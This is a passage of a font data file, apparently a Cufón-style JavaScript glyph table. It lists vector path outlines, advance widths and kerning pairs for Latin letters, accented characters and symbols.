295,0r0,226v28,-31,72,-49,128,-49"},{"d":"375,-747r-108,153r-66,0r88,-153r86,0","w":500},{"d":"471,0r-72,0r0,-55v-53,68,-179,83,-244,24r0,251r-72,0r0,-712r72,0r0,303v0,87,47,131,121,131v74,0,123,-45,123,-131r0,-303r72,0r0,492","w":561},{"d":"182,-223r-94,0r0,-94r94,0r0,94","w":270},{"d":"532,-196v0,125,-98,202,-246,202v-107,0,-177,-27,-244,-94r52,-52v59,59,114,78,194,78v104,0,168,-49,168,-132v0,-81,-40,-114,-127,-123v-140,-15,-268,-50,-268,-200v0,-121,87,-201,228,-201v91,0,151,23,212,78r-49,49v-44,-40,-91,-61,-166,-61v-95,0,-150,53,-150,132v0,168,259,103,336,183v35,37,60,82,60,141xm448,-934r-125,153r-68,0r-125,-153r69,0r90,105r90,-105r69,0","w":588},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm394,-602r-72,0r0,-89r72,0r0,89xm182,-602r-72,0r0,-89r72,0r0,89","w":526},{"d":"838,-236r-762,0r0,-68r762,0r0,68","w":914},{"w":249},{"d":"545,0r-442,0r0,-712r442,0r0,68r-366,0r0,251r312,0r0,68r-312,0r0,257r366,0r0,68xm455,-789r-72,0r0,-89r72,0r0,89xm243,-789r-72,0r0,-89r72,0r0,89","w":600},{"d":"415,-727v-8,91,-61,139,-163,139v-102,0,-159,-48,-167,-139r58,0v7,52,48,82,109,82v61,0,101,-30,108,-82r55,0","w":500},{"d":"838,-29r-67,67r0,-516r-557,558r-49,-49r557,-558r-515,1r66,-67r565,0r0,564","w":1027},{"d":"179,0r-76,0r0,-712r76,0r0,712xm277,-934r-108,153r-66,0r88,-153r86,0","w":282},{"d":"781,-285r-57,0r0,-308r-102,202r-56,0r-102,-202r0,308r-58,0r0,-427r58,0r130,259r130,-259r57,0r0,427xm331,-659r-119,0r0,374r-58,0r0,-374r-118,0r0,-53r295,0r0,53","w":839},{"d":"323,216r-78,0r-59,-149r66,0","w":500},{"d":"592,-197v0,129,-86,197,-212,197r-277,0r0,-712r268,0v124,0,210,71,210,190v0,75,-45,134,-105,156v68,25,116,84,116,169xm505,-521v0,-85,-61,-123,-140,-123r-186,0r0,247r186,0v79,0,140,-39,140,-124xm516,-199v0,-80,-55,-130,-143,-130r-194,0r0,261r194,0v88,0,143,-51,143,-131","w":668,"k":{"J":27}},{"d":"294,-285r-246,0r0,-52r165,-202v42,-43,26,-125,-42,-125v-34,0,-65,18,-65,67r-58,0v0,-72,51,-119,123,-119v115,0,152,128,84,211r-138,168r177,0r0,52","w":342},{"w":249},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm461,-781r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":611,"k":{"\u0152":8,"y":12,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"594,0r-586,0r262,-712r63,0xm495,-66r-193,-537r-194,537r387,0","w":603},{"d":"407,-472r-28,49r-117,-71r4,137r-58,0r4,-137r-116,71r-29,-49r120,-65r-120,-66r29,-48r116,71r-4,-137r58,0r-4,137r117,-71r28,48r-120,66","w":474},{"d":"179,0r-76,0r0,-712r76,0r0,712xm421,-781r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":282},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243xm484,-781r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":650,"k":{"\u00c6":8,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"418,-452r-53,54v-72,-81,-203,-18,-203,96r0,302r-72,0r0,-492r72,0r0,60v49,-74,188,-94,256,-20","w":421,"k":{"\u00f5":34,"\u00f6":34,"\u00f4":34,"\u00f2":34,"\u00f3":34,"\u00eb":34,"\u00ea":34,"\u00e8":34,"\u00e9":34,"\u00e7":34,"\u0153":34,"\u00f8":34,"\u00e6":34,"s":10,"q":34,"o":34,"g":34,"e":34,"d":34,"c":34,"a":10,".":120}},{"d":"215,-712r-11,512r-62,0r-10,-512r83,0xm216,0r-86,0r0,-84r86,0r0,84","w":316},{"d":"178,-422v58,0,123,54,183,55v28,0,45,-5,84,-44r45,45v-56,56,-84,68,-129,68v-59,0,-124,-54,-184,-55v-28,0,-45,5,-84,44r-44,-44v56,-56,84,-69,129,-69xm178,-244v59,0,124,55,183,55v28,0,45,-6,84,-45r45,45v-56,56,-84,68,-129,68v-59,0,-124,-55,-183,-55v-28,0,-45,6,-84,45r-45,-45v56,-56,84,-68,129,-68","w":539},{"d":"590,-235v0,142,-105,241,-249,241v-144,0,-248,-99,-248,-241r0,-477r76,0r0,471v0,108,68,179,172,179v104,0,173,-71,173,-179r0,-471r76,0r0,477xm466,-934r-108,153r-66,0r88,-153r86,0","w":682},{"d":"531,-445r-194,0r0,445r-72,0r0,-445r-191,0r0,-64r191,0r0,-203r72,0r0,203r194,0r0,64","w":605},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243xm374,-781r-66,0r-108,-153r86,0","w":650,"k":{"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"262,6v-111,2,-177,-75,-177,-184r0,-314r72,0r0,303v0,87,46,131,120,131v74,0,123,-45,123,-131r0,-303r72,0r0,492r-71,0r0,-55v-35,40,-84,61,-139,61xm327,-594r-66,0r-108,-153r86,0","w":563},{"d":"802,-356v0,200,-162,362,-362,362v-200,0,-362,-162,-362,-362v0,-200,162,-362,362,-362v200,0,362,162,362,362xm745,-356v0,-170,-137,-309,-305,-309v-168,0,-304,139,-304,309v0,170,136,309,304,309v168,0,305,-139,305,-309xm592,-158r-64,0r-91,-162r-60,0r0,162r-55,0r0,-397r135,0v69,0,125,52,125,119v0,58,-36,94,-85,109xm526,-436v0,-40,-31,-70,-75,-70r-74,0r0,139r74,0v44,0,75,-29,75,-69","w":881},{"d":"467,-227r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-130,0,-215,-78,-215,-252v0,-159,77,-252,202,-252v137,-1,211,107,202,271xm395,-281v1,-96,-48,-156,-130,-156v-81,0,-132,62,-130,156r260,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"490,0r-69,0r0,-427r-250,0r0,427r-70,0r0,-492r389,0r0,492","w":591},{"d":"408,-216v0,137,-92,222,-222,222v-68,0,-119,-20,-163,-64r51,-51v26,26,53,47,112,47v93,0,146,-59,146,-164r0,-486r76,0r0,496","w":501,"k":{"A":10}},{"d":"199,-436r-72,0r0,-350r72,0r0,350xm199,74r-72,0r0,-350r72,0r0,350","w":335},{"d":"308,-405v0,82,-58,125,-129,125v-68,0,-128,-37,-131,-119r58,0v2,47,36,67,73,67v41,0,72,-27,72,-73v0,-48,-29,-76,-84,-73r0,-50v51,3,77,-24,77,-68v0,-45,-30,-68,-66,-68v-39,0,-64,24,-67,63r-57,0v4,-72,57,-115,124,-115v72,0,123,48,123,119v0,46,-20,76,-54,92v38,16,61,47,61,100","w":356},{"d":"467,-227r-332,0v0,108,51,170,145,170v57,0,90,-17,129,-56r49,43v-50,50,-96,76,-180,76v-130,0,-215,-78,-215,-252v0,-159,77,-252,202,-252v137,-1,211,107,202,271xm395,-281v1,-96,-48,-156,-130,-156v-81,0,-132,62,-130,156r260,0xm393,-747r-108,153r-66,0r88,-153r86,0","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"66,-244v0,-138,47,-251,187,-251v48,0,90,11,128,58v7,-121,-11,-219,-135,-219v-57,0,-82,18,-118,50r-46,-46v52,-47,92,-66,166,-66v134,0,205,88,205,216r0,258v8,132,-56,250,-193,250v-137,0,-194,-117,-194,-250xm381,-244v0,-55,-4,-114,-37,-151v-43,-47,-126,-47,-169,0v-33,37,-37,96,-37,151v0,55,4,114,37,150v43,47,126,47,169,0v33,-37,37,-95,37,-150","w":544},{"d":"300,-498v111,-1,177,75,177,183r0,315r-72,0r0,-303v0,-87,-47,-131,-121,-131v-74,0,-122,45,-122,131r0,303r-72,0r0,-492r72,0r0,54v35,-40,83,-60,138,-60xm219,-707v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":562},{"d":"265,-498v138,0,201,118,201,252v0,134,-62,252,-201,252v-138,0,-201,-118,-201,-252v0,-134,62,-252,201,-252xm394,-246v0,-55,-4,-115,-39,-152v-45,-47,-134,-47,-179,0v-35,37,-40,97,-40,152v0,55,5,115,40,152v45,47,134,47,179,0v35,-37,39,-97,39,-152xm199,-707v74,-1,119,93,186,12r37,36v-45,45,-72,51,-95,51v-75,2,-119,-93,-186,-12r-37,-36v45,-45,70,-51,95,-51","w":530,"k":{"y":10,"x":16,"w":5,"v":10}},{"d":"972,-234r-789,0r365,364r-94,0r-399,-399r399,-399r94,0r-365,364r789,0r0,70","w":1027},{"d":"500,220r-443,0r0,-65r202,-438r-201,-413r0,-64r441,0r0,68r-353,0r180,375r0,69r-182,400r356,0r0,68","w":551},{"d":"572,-206v-23,134,-120,212,-247,212v-70,0,-134,-26,-182,-74v-67,-67,-67,-137,-67,-288v0,-151,0,-221,67,-288v48,-48,112,-74,182,-74v128,0,223,78,247,212r-78,0v-19,-87,-80,-144,-169,-144v-47,0,-92,18,-123,50v-45,46,-50,95,-50,244v0,149,5,198,50,244v31,32,76,50,123,50v89,0,152,-57,171,-144r76,0xm370,67r-59,149r-79,0r71,-149r67,0","w":637,"k":{"\u00c6":8,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"135,-246v0,117,48,188,146,188v47,0,76,-15,113,-56r49,47v-51,55,-94,73,-162,73v-124,0,-218,-84,-218,-252v0,-168,94,-252,218,-252v68,0,111,18,162,73r-49,46v-37,-41,-66,-55,-113,-55v-98,0,-146,72,-146,188xm313,67r-59,149r-79,0r71,-149r67,0","w":494,"k":{"\u0153":15,"\u00e6":12,"o":15,"e":15,"c":12,"a":12}},{"d":"179,0r-76,0r0,-712r76,0r0,712xm387,-789r-72,0r0,-89r72,0r0,89xm175,-789r-72,0r0,-89r72,0r0,89","w":282},{"d":"588,-503v0,128,-90,210,-220,210r-189,0r0,293r-76,0r0,-712r265,0v130,0,220,81,220,209xm512,-503v0,-94,-62,-141,-151,-141r-182,0r0,283r182,0v89,0,151,-48,151,-142","w":630,"k":{"\u00c1":50,"\u00c2":50,"\u00c3":50,"\u00c0":50,"\u00e7":10,"\u00c5":50,"\u00c4":50,"\u0153":10,"\u00f8":10,"\u00e6":10,"\u00c6":50,"s":10,"q":10,"o":10,"g":10,"e":10,"d":10,"c":10,"a":10,"J":120,"A":50,".":110}},{"d":"1115,-128v0,82,-58,135,-135,135v-78,0,-135,-53,-135,-135r0,-105v0,-82,57,-135,135,-135v77,0,135,53,135,135r0,105xm769,-128v0,82,-58,135,-135,135v-78,0,-135,-53,-135,-135r0,-105v0,-82,57,-135,135,-135v77,0,135,53,135,135r0,105xm614,-712r-334,712r-60,0r334,-712r60,0xm335,-479v0,81,-58,134,-135,134v-78,0,-135,-53,-135,-134r0,-105v0,-82,57,-135,135,-135v77,0,135,53,135,135r0,105xm980,-43v93,0,78,-100,78,-188v0,-53,-24,-87,-78,-87v-94,0,-77,100,-78,188v0,54,23,87,78,87xm634,-43v93,0,78,-100,78,-188v0,-53,-24,-87,-78,-87v-94,0,-77,100,-78,188v0,54,23,87,78,87xm200,-395v93,0,78,-99,78,-187v0,-53,-24,-87,-78,-87v-94,0,-77,100,-78,188v0,54,24,86,78,86","w":1179},{"d":"445,0r-87,0r-118,-191r-120,191r-87,0r167,-251r-160,-241r87,0r113,182r111,-182r87,0r-160,241","w":478,"k":{"\u00f5":20,"\u00f6":20,"\u00f4":20,"\u00f2":20,"\u00f3":20,"\u00eb":20,"\u00ea":20,"\u00e8":20,"\u00e9":20,"\u00e7":20,"\u0153":20,"\u00f8":20,"\u00e6":20,"o":20,"e":20,"c":20}},{"d":"178,-333v59,0,124,53,183,55v28,0,45,-6,84,-45r45,45v-56,56,-84,68,-129,68v-59,0,-125,-53,-184,-55v-28,0,-45,6,-84,45r-44,-45v56,-56,84,-68,129,-68","w":539},{"d":"265,6v-139,0,-199,-117,-199,-250v0,-152,91,-288,256,-237r-58,-99r-116,0r0,-52r88,0r-47,-82r75,0r47,82r82,0r0,52r-54,0v51,93,126,215,126,336v0,133,-61,250,-200,250xm393,-244v0,-55,-4,-114,-39,-151v-45,-46,-133,-47,-177,0v-35,37,-39,96,-39,151v0,55,4,113,39,150v44,47,132,47,177,0v35,-37,39,-95,39,-150","w":530},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84xm370,-687v0,65,-53,119,-118,119v-65,0,-118,-54,-118,-119v0,-65,53,-118,118,-118v65,0,118,52,118,118xm321,-687v0,-38,-31,-68,-69,-68v-38,0,-69,30,-69,68v0,38,31,69,69,69v38,0,69,-31,69,-69","w":526},{"d":"334,-653v-68,-6,-111,12,-111,77r0,654v0,103,-70,152,-186,140r0,-62v68,6,112,-12,112,-77r0,-654v0,-103,70,-152,185,-140r0,62","w":372},{"d":"179,0r-76,0r0,-712r76,0r0,712","w":282},{"d":"601,0r-89,0r-162,-316r-171,0r0,316r-76,0r0,-712r273,0v124,0,211,75,211,198v0,104,-63,172,-155,191xm511,-513v0,-87,-59,-131,-142,-131r-190,0r0,261r190,0v83,0,142,-43,142,-130","w":656,"k":{"J":24}},{"d":"262,6v-111,2,-177,-75,-177,-184r0,-314r72,0r0,303v0,87,46,131,120,131v74,0,123,-45,123,-131r0,-303r72,0r0,492r-71,0r0,-55v-35,40,-84,61,-139,61xm403,-747r-108,153r-66,0r88,-153r86,0","w":563},{"d":"543,0r-440,0r0,-712r76,0r0,644r364,0r0,68","w":573,"k":{"\u00d2":36,"\u00d4":36,"\u00d3":36,"\u00d5":36,"\u00d6":36,"\u00c7":32,"\u0152":36,"\u201d":150,"\u201c":150,"y":60,"\u2018":150,"Y":80,"W":40,"V":70,"U":32,"T":80,"Q":36,"O":36,"J":-12,"G":36,"C":36,"\u2019":150}},{"d":"506,-712r-210,418r0,294r-76,0r0,-294r-212,-418r82,0r168,341r166,-341r82,0xm399,-789r-72,0r0,-89r72,0r0,89xm187,-789r-72,0r0,-89r72,0r0,89","w":515},{"d":"538,-712r-234,712r-62,0r-234,-712r80,0r185,576r185,-576r80,0","w":546,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00c1":35,"\u00c2":35,"\u00d5":10,"\u00c3":35,"\u00c0":35,"\u00e7":40,"\u00d6":10,"\u00c7":10,"\u00c5":35,"\u00c4":35,"\u0153":40,"\u00f8":40,"\u00e6":40,"\u0152":10,"\u00d8":10,"\u00c6":35,"z":20,"y":10,"x":20,"u":20,"s":40,"r":20,"q":40,"p":20,"o":40,"n":20,"m":20,"g":40,"e":40,"d":40,"c":40,"a":40,"Q":10,"O":10,"G":10,"C":10,"A":35,".":80}},{"d":"476,-58r-210,-210r210,-210r0,90r-121,120r121,121r0,89xm250,-58r-210,-210r210,-210r0,90r-120,120r120,121r0,89","w":554},{"d":"713,-492r-155,492r-67,0r-129,-382r-128,382r-67,0r-156,-492r78,0r113,395r129,-395r62,0r130,395r112,-395r78,0","w":724,"k":{"\u00f5":5,"\u00f6":5,"\u00f4":5,"\u00f2":5,"\u00f3":5,"\u00eb":5,"\u00ea":5,"\u00e8":5,"\u00e9":5,"\u00e7":5,"\u0153":5,"\u00f8":5,"\u00e6":5,"o":5,"e":5,"c":5,".":54}},{"d":"221,74r-177,0r0,-62r108,0r0,-736r-108,0r0,-62r177,0r0,860","w":313},{"d":"64,-246v0,-126,40,-252,180,-252v54,0,100,12,140,64r0,-58r71,0r0,712r-72,0r0,-278v-40,51,-85,64,-139,64v-140,0,-180,-126,-180,-252xm383,-246v0,-96,-16,-188,-123,-188v-107,0,-124,92,-124,188v0,96,17,188,124,188v107,0,123,-92,123,-188","w":545},{"d":"603,-11r-46,46r-79,-79v-97,76,-253,61,-335,-24v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288v0,136,0,206,-49,267xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v54,57,159,70,224,17r-90,-90r46,-46r87,87v26,-42,29,-97,29,-211","w":649},{"d":"164,-101v0,77,29,107,70,146r-49,49v-53,-48,-93,-99,-93,-189r0,-522v-3,-89,40,-142,93,-189r49,49v-41,39,-70,68,-70,146r0,510","w":298},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243xm467,-789r-72,0r0,-89r72,0r0,89xm255,-789r-72,0r0,-89r72,0r0,89","w":650,"k":{"\u00c6":8,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":32,"A":10}},{"d":"262,6v-111,2,-177,-75,-177,-184r0,-314r72,0r0,303v0,87,46,131,120,131v74,0,123,-45,123,-131r0,-303r72,0r0,492r-71,0r0,-55v-35,40,-84,61,-139,61xm420,-602r-72,0r0,-89r72,0r0,89xm208,-602r-72,0r0,-89r72,0r0,89","w":563},{"d":"540,-196v0,116,-86,191,-218,200r0,110r-60,0r0,-108v-94,-4,-158,-32,-220,-94r52,-52v53,53,104,74,172,77r0,-265v-121,-10,-205,-68,-205,-189v0,-113,76,-190,201,-200r0,-89r60,0r0,89v77,4,131,28,186,77r-49,49v-38,-34,-79,-56,-140,-60r0,259v135,14,221,67,221,196xm266,-399r0,-252v-118,-1,-171,140,-98,213v25,26,64,34,98,39xm464,-194v0,-85,-71,-124,-145,-126r0,257v90,-6,145,-54,145,-131","w":596},{"d":"64,-250v0,-129,41,-248,180,-248v54,0,98,12,138,64r0,-58r71,0r0,507v0,122,-76,211,-205,211v-74,0,-115,-19,-167,-66r47,-46v36,32,61,49,118,49v124,-2,143,-103,135,-228v-40,51,-85,64,-138,64v-137,1,-179,-119,-179,-249xm381,-250v0,-92,-15,-184,-122,-184v-107,0,-123,92,-123,184v0,92,16,184,123,184v107,0,122,-92,122,-184","w":543},{"d":"227,6v-112,0,-176,-47,-176,-145v0,-86,60,-142,170,-142r148,0v7,-101,-15,-156,-126,-155v-63,0,-95,15,-124,56r-49,-45v44,-57,94,-73,174,-73v132,0,197,57,197,164r0,334r-72,0r0,-47v-40,40,-76,53,-142,53xm234,-56v74,0,142,-26,135,-118r0,-53r-138,0v-74,0,-110,30,-110,87v0,57,35,84,113,84","w":526},{"d":"769,-128v0,82,-58,135,-135,135v-78,0,-135,-53,-135,-135r0,-105v0,-82,57,-135,135,-135v77,0,135,53,135,135r0,105xm614,-712r-334,712r-60,0r334,-712r60,0xm335,-479v0,81,-58,134,-135,134v-78,0,-135,-53,-135,-134r0,-105v0,-82,57,-135,135,-135v77,0,135,53,135,135r0,105xm634,-43v93,0,78,-100,78,-188v0,-53,-24,-87,-78,-87v-94,0,-77,100,-78,188v0,54,23,87,78,87xm200,-395v93,0,78,-99,78,-187v0,-53,-24,-87,-78,-87v-94,0,-77,100,-78,188v0,54,24,86,78,86","w":833},{"d":"590,-235v0,142,-105,241,-249,241v-144,0,-248,-99,-248,-241r0,-477r76,0r0,471v0,108,68,179,172,179v104,0,173,-71,173,-179r0,-471r76,0r0,477","w":683,"k":{"J":32}},{"d":"64,-246v0,-126,40,-252,180,-252v54,0,99,12,139,63r0,-277r72,0r0,712r-71,0r0,-59v-40,52,-86,65,-140,65v-140,0,-180,-126,-180,-252xm383,-246v0,-96,-16,-188,-123,-188v-107,0,-124,92,-124,188v0,96,17,188,124,188v107,0,123,-92,123,-188","w":545},{"d":"574,-356v0,151,-1,220,-67,288v-93,97,-271,97,-364,0v-66,-68,-67,-137,-67,-288v0,-151,1,-220,67,-288v93,-97,271,-97,364,0v66,68,67,137,67,288xm498,-356v0,-149,-6,-196,-50,-243v-62,-66,-184,-66,-246,0v-44,47,-50,94,-50,243v0,149,6,196,50,243v62,66,184,66,246,0v44,-47,50,-94,50,-243","w":650,"k":{"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c0":10,"\u00c5":10,"\u00c4":10,"\u00c6":10,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":38,"A":10}},{"d":"531,16r-194,0r0,204r-72,0r0,-204r-191,0r0,-64r191,0r0,-397r-191,0r0,-64r191,0r0,-203r72,0r0,203r194,0r0,64r-194,0r0,397r194,0r0,64","w":605},{"d":"335,-542r-79,0r0,-170r79,0r0,170xm167,-542r-79,0r0,-170r79,0r0,170","w":423},{"d":"514,-268r-210,210r0,-89r120,-121r-120,-120r0,-90xm288,-268r-210,210r0,-89r121,-121r-121,-120r0,-90","w":554},{"d":"162,0r-72,0r0,-492r72,0r0,492xm264,-594r-66,0r-108,-153r86,0","w":253},{"d":"350,-236r-274,0r0,-67r274,0r0,67","w":426},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm351,-781r-66,0r-108,-153r86,0","w":611,"k":{"\u0152":8,"y":17,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"162,0r-72,0r0,-492r72,0r0,492xm408,-594r-69,0r-90,-104r-90,104r-69,0r125,-153r68,0","w":253},{"d":"407,0r-357,0r0,-62r274,-366r-259,0r0,-64r342,0r0,61r-275,367r275,0r0,64","w":459},{"d":"477,0r-72,0r0,-304v0,-86,-46,-130,-120,-130v-74,0,-123,45,-123,130r0,304r-72,0r0,-712r72,0r0,274v36,-41,83,-60,138,-60v111,0,177,71,177,182r0,316","w":562},{"d":"113,-806v53,48,92,98,92,189r0,522v4,89,-39,142,-92,189r-51,-51v41,-38,69,-66,69,-144r0,-510v2,-77,-28,-106,-69,-144","w":298},{"d":"175,-628r-87,79r0,-163r87,0r0,84","w":263,"k":{"\u00c1":80,"\u00c2":80,"\u00c3":80,"\u00c0":80,"\u00c5":80,"\u00c4":80,"\u00c6":80,"s":60,"J":120,"A":80}},{"d":"499,0r-442,0r0,-72r356,-572r-342,0r0,-68r428,0r0,64r-359,580r359,0r0,68","w":556},{"d":"162,0r-72,0r0,-492r72,0r0,492xm264,-747r-108,153r-66,0r88,-153r86,0","w":253},{"d":"460,-205v0,121,-76,211,-197,211v-121,0,-198,-82,-198,-205v0,-51,15,-100,45,-160r175,-353r74,0r-159,320v135,-53,260,43,260,187xm388,-202v0,-79,-44,-144,-126,-144v-76,0,-125,56,-125,144v0,87,49,144,125,144v76,0,126,-57,126,-144"},{"d":"476,-639r-82,0r0,-74r82,0r0,74xm471,0r-72,0r0,-489r72,0r0,489xm282,-434r-105,0r0,434r-72,0r0,-434r-63,0r0,-55r63,0v-7,-122,4,-224,125,-225r52,0r0,62v-65,-6,-105,11,-105,72r0,91r105,0r0,55","w":562},{"d":"838,-712r-182,712r-71,0r-158,-570r-158,570r-71,0r-182,-712r81,0r139,574r157,-574r68,0r157,574r139,-574r81,0","w":854,"k":{"\u00d2":10,"\u00d4":10,"\u00d3":10,"\u00c1":11,"\u00c2":11,"\u00d5":10,"\u00c3":11,"\u00c0":11,"\u00e7":40,"\u00d6":10,"\u00c7":10,"\u00c5":11,"\u00c4":11,"\u0153":40,"\u00f8":40,"\u00e6":40,"\u0152":10,"\u00d8":10,"\u00c6":11,"s":40,"q":40,"o":40,"g":40,"e":40,"d":40,"c":40,"a":40,"Q":10,"O":10,"G":10,"C":10,"A":11,".":50}},{"d":"209,-68v-4,78,22,79,96,78r0,64v-112,4,-168,-17,-168,-129r0,-191v1,-60,-28,-82,-89,-78r0,-64v61,4,89,-18,89,-78r0,-191v-3,-112,55,-133,168,-129r0,64v-73,-1,-96,0,-96,78r0,188v0,57,-25,82,-63,100v38,18,63,43,63,100r0,188","w":354},{"d":"209,-301r-94,0r0,-94r94,0r0,94xm209,0r-94,0r0,-94r94,0r0,94","w":297},{"d":"304,-404r-86,0r0,-86r86,0r0,86xm471,-236r-420,0r0,-67r420,0r0,67xm304,-49r-86,0r0,-86r86,0r0,86"},{"d":"430,-713v130,-2,211,85,211,217r0,497r-69,-1r0,-55v-33,42,-73,62,-134,62v-129,0,-180,-88,-180,-245v0,-158,46,-245,179,-245v58,0,100,21,134,63r0,-78v4,-98,-57,-154,-150,-154r-130,0v-92,0,-149,56,-149,154r0,337v0,63,11,87,57,121r-49,49v-61,-45,-78,-80,-78,-169r0,-336v-2,-133,78,-217,210,-217r148,0xm571,-238v0,-93,-16,-183,-121,-183v-105,0,-121,90,-121,183v0,93,16,183,121,183v105,0,121,-90,121,-183","w":713},{"d":"457,-119r-45,45r-151,-151r-151,151r-45,-45r151,-151r-151,-151r45,-45r151,152r151,-152r45,45r-152,151"},{"d":"972,-269r-399,399r-94,0r365,-364r-789,0r0,-70r789,0r-365,-364r94,0","w":1027},{"d":"713,0r-76,0r0,-541r-195,429r-65,0r-198,-429r0,541r-76,0r0,-712r76,0r232,505r226,-505r76,0r0,712","w":816},{"d":"176,65r-88,79r0,-232r88,0r0,153","w":264},{"d":"629,0r-72,0r-378,-571r0,571r-76,0r0,-712r72,0r378,569r0,-569r76,0r0,712","w":732},{"d":"518,-644r-206,0r0,644r-76,0r0,-644r-206,0r0,-68r488,0r0,68","w":548,"k":{"\u00d2":20,"\u00d4":20,"\u00d3":20,"\u00c1":60,"\u00c2":60,"\u00d5":20,"\u00c3":60,"\u00c0":60,"\u00e7":76,"\u00d6":20,"\u00c7":20,"\u00c5":60,"\u00c4":60,"\u0153":76,"\u00f8":76,"\u00e6":76,"\u0152":20,"\u00d8":20,"\u00c6":60,"z":54,"y":54,"x":54,"w":54,"v":54,"u":54,"s":76,"r":54,"q":76,"p":54,"o":76,"n":54,"m":54,"g":76,"e":76,"d":76,"c":76,"a":76,"Q":20,"O":20,"J":80,"G":20,"C":20,"A":60,".":80}},{"d":"599,0r-81,0r-57,-161r-311,0r-57,161r-81,0r262,-712r64,0xm439,-227r-132,-376r-134,376r266,0xm427,-934r-108,153r-66,0r88,-153r86,0","w":611,"k":{"\u0152":8,"y":17,"v":17,"Y":35,"W":14,"V":35,"T":60,"Q":10,"O":10,"G":10,"C":10}},{"d":"301,-498v140,0,180,126,180,252v0,126,-40,252,-180,252v-54,0,-99,-13,-139,-65r0,59r-72,0r0,-712r72,0r0,277v40,-51,85,-63,139,-63xm409,-246v0,-96,-16,-188,-123,-188v-107,0,-124,92,-124,188v0,96,17,188,124,188v107,0,123,-92,123,-188","w":545},{"d":"265,0v-112,12,-177,-36,-177,-131r0,-581r72,0r0,578v-5,64,39,77,105,72r0,62","w":297,"k":{"\u201d":60,"\u201c":60,"y":23,"w":20,"v":40,"o":20,"e":25,"c":25,"\u2018":60,"*":60,"\u2019":60}},{"d":"461,0r-393,0r0,-64r281,-357v75,-81,41,-233,-84,-233v-66,0,-124,37,-124,129r-72,0v0,-112,77,-193,196,-193v117,0,196,75,196,192v0,57,-18,94,-57,144r-249,318r306,0r0,64"},{"d":"373,-652v-73,-5,-118,8,-129,72r-34,196r105,0r0,54r-115,0r-97,550r-72,0r97,-550r-98,0r0,-54r108,0r34,-198v16,-90,84,-145,201,-132r0,62","w":403},{"d":"300,-498v111,-1,177,75,177,183r0,315r-72,0r0,-303v0,-87,-47,-131,-121,-131v-74,0,-122,45,-122,131r0,303r-72,0r0,-492r72,0r0,54v35,-40,83,-60,138,-60","w":562},{"d":"597,-364v0,99,1,221,-70,298v-84,90,-262,61,-424,66r0,-712v162,5,340,-24,424,66v71,77,70,183,70,282xm521,-364v0,-87,1,-176,-47,-228v-64,-70,-175,-48,-295,-52r0,576v119,-4,231,18,295,-52v48,-52,47,-157,47,-244","w":673,"k":{"\u00c1":10,"\u00c2":10,"\u00c3":10,"\u00c0":10,"\u00c5":10,"\u00c4":10,"\u00c6":10,"Y":10,"X":10,"W":10,"V":10,"T":20,"J":36,"A":10}},{"d":"862,31r-49,49r-557,-558r0,516r-67,-67r0,-564r565,0r66,67r-515,-1","w":1027},{"d":"545,0r-442,0r0,-712r442,0r0,68r-366,0r0,251r312,0r0,68r-312,0r